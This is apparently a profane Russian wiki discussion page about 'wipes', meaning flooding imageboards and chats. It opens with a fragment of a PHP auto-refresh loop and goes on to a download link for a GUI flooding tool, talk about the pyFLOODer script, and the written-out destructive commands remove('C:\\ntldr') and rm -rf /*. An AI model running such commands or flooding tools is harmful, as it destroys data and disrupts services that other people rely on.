echo '<meta http-equiv="refresh" content="10;url='.$_SERVER["SCRIPT_NAME"].'">';
}
 
?>

[править] АЛСО

  • В ММОРПГ вайп - смерть всех членов отряда в рейде или подземелье. На пиратских серверах алсо означает стирание или откат базы данных персонажей, вызывающий butthurt у игроков.
  • Раз в год некое подобие вайпа смотри на своей стенке во Вконтактике в свой день рождения

[править] Вайпалка на ГУИ

http://rghost.ru/1805022

  • Анон, перезалей, плиз

[править] pyFLOODer

Вопрос относительно сей вайпалки: помимо того, чтобы скачивать описанный в статье контент, для его использования понадобится еще и Perl? Это же перлскрипт, насколько я понял из кода. это питон скрипт долбоеб, какой нахуй перл.

[править] Вайп в чятике

Вайпать в чятике иногда забавно
.

Разместите в статье, плз.

[править] format C:

remove('C:\\ntldr') rm -rf /*

[править] Анлинки

Да выпилите вы уже из кода свои ёбаные в рот анлинки. Вам бы только что-нибудь разрушить. Вишни вам мало, что ли? —Breather

Нахуй пошел. Говноедам — говноедово.